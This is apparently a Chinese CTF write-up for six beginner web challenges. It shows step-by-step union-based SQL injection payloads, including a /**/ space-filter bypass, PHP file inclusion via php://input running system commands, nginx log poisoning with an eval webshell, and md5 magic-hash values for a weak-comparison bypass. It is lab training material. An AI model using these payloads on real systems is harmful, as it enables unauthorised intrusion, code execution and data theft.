web1
源代码base64解码就是答案
web2
登录框,万能密码试一下
admin or 1=1# 密码随便输,条件是恒成立的,但是这个页面没有回应
admin' or 1=1# 加上单引号就页面就有了新的变化。
应该是单引号字符型注入

顺序为:获取库名,获取表名,获取列名,获取数据
获取注入点,运用联合查询
admin' or 1=1 union select 1,2,3#

从这里我们知道该数据库有三列,并且注入点是第二列
admin' or 1=1 union select 1,2,3,4# 页面不会有变化
库名
admin' or 1=1 union select 1,database(),3#

库名就是web2了
表名
admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
table_name是查询表名需要的命令和schema_name查询库名的用法相同。tables是从information_schema库的tables表中获取,后面的where table_schema='web2'是table表中获取web2的表的内容。也就是做了一定的限制,就只获取web2库中的表名。flag 和user

就要获得列
admin' or union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#
column_name就是查询列名的意思

可以看到flag表中有一个flag列。
内容获取
admin' or 1=1 union select 1,flag, 3 from flag#

web3
找到include,应该是文件包含漏洞,抓包看看

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
加上系统命令,读取文件 <?php system('ls')?>

接着读取,看到结果了。

web4
打开页面和上面一题是一样的,照着操作一下,出现报错

但是根据返回包知道是nginx:
默认nginx日志是:/var/log/nginx/access.log,可以看到记录了请求
包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息
传参:
?url=/var/log/nginx/access.log
#这个地址是存放日志文件的,可以进行文件注入一句话
用Burp Suite抓包,在User-Agent后面写个🐎
<?php eval($_POST['a'])?>
蚁剑连接,看到flag

web5

发现要求v1必须是字符串,v2必须是数字,并且对v1和v2的md5弱相等,也就是==,只比较字符串开头是否相等,那么就需要找到两个md5开头相等的即可。
QNKCDZO的md5是0e830400451993494058024219903391
240610708的md5是0e462097431906509019562988736854
web6
尝试一下简单的万密,但是没有什么发现,应该是出现过滤了

先绕过空格,/**/代替空格,可以,说明过滤了空格。

和web2差不多
注入点在2
admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#

admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
得到数据库名为web2

查表
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

查询flag表的字段
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

查看flag字段中的内容
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

这题和web2差不多,只是过滤了空格,在每条查询语句加上/**/绕过空格就可以了。
本文围绕Web安全展开,介绍了SQL注入和文件包含漏洞的利用方法。通过万能密码尝试、联合查询获取数据库信息,如库名、表名、列名和数据;利用文件包含漏洞,借助php://input执行系统命令读取文件,还涉及绕过空格过滤等操作,以获取关键信息。

1766

被折叠的 条评论
为什么被折叠?



